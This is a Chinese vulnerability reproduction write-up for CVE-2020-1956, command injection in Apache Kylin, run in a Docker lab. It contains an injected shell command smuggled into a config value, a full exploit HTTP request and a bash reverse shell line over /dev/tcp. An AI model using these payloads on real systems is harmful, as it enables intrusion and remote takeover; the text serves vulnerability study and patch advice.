简介
Apache Kylin 是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark 之上的 SQL 查询接口及多维分析(OLAP)等功能。
漏洞概述
在Kylin中存在一些restful API,可以将操作系统命令与用户输入的字符串连接起来,由于未对用户输入内容做合理校验,导致攻击者可以在未经验证的情况下执行任意系统命令。
影响版本
Kylin 2.3.0-2.3.2
Kylin 2.4.0-2.4.1
Kylin 2.5.0-2.5.2
Kylin 2.6.0-2.6.5
Kylin 3.0.0-alpha
Kylin 3.0.0-alpha2
Kylin 3.0.0-beta
Kylin 3.0.0-3.0.1
环境搭建
这里使用docker进行安装
docker pull vulfocus/cve-2020-1956
docker run -d
-m 8G
-p 7070:7070
-p 8088:8088
-p 50070:50070
-p 8032:8032
-p 8042:8042
-p 16010:16010
vulfocus/cve-2020-1956
访问http://your-ip:7070/kylin/login即可看到页面
默认登陆账号密码admin/KYLIN
漏洞复现
进入system选项卡,在界面上的 Set Config中,把 srcCfgUri :kylin.tool.auto-migrate-cube.src-config配置为 /home/admin/apachekylin-3.0.1-bin-hbase1x/conf/kylin.propertie,将 destCfgUri :kylin.tool.auto-migrate-cube.dest-config 配置为/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/success; echo ;
构建数据包并发送
POST /kylin/api/cubes/kylin_streaming_cube/learn_kylin/migrate HTTP/1.1
Host: 192.168.204.131:7070
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Authorization: Basic YWRtaW46S1lMSU4=
Connection: close
Referer: http://192.168.204.131:7070/kylin/admin
Cookie: project=null; JSESSIONID=7C68A1AEA17A6DA7E9F4C332932B45B8
再试试反弹shell
将 kylin.tool.auto-migrate-cube.dest-config 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin truetrue true true; bash -i >& /dev/tcp/192.168.204.131/6666 0>&1; echo ;
监听并发送数据包,成功获shell
修复建议
升级到安全版本
http://kylin.apache.org/cn/download/
本文始发于微信公众号(锋刃科技):Apache Kylin远程代码执行漏洞(CVE-2020-1956)复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论